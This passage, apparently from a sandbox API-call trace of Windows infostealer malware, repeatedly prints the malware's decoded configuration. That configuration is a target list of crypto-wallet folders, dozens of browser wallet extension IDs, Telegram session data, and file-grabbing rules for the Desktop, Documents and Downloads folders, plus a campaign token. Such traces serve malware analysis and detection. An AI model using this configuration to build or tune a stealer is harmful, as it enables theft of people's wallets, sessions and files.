Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.751] lstrlenW (lpString="wlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4189 [0259.752] lstrlenW (lpString="wlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4189 [0259.752] LocalAlloc (uFlags=0x40, uBytes=0x20ba) returned 0x6b9720 [0259.752] lstrlenW (lpString="wlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4189 [0259.752] LocalAlloc (uFlags=0x40, uBytes=0x20ba) returned 0x6bb7e8 [0259.752] lstrlenW (lpString="wlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4189 [0259.752] LocalAlloc (uFlags=0x40, uBytes=0x20ba) returned 0x6bd8b0 [0259.752] StrStrW (lpFirst="wlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension 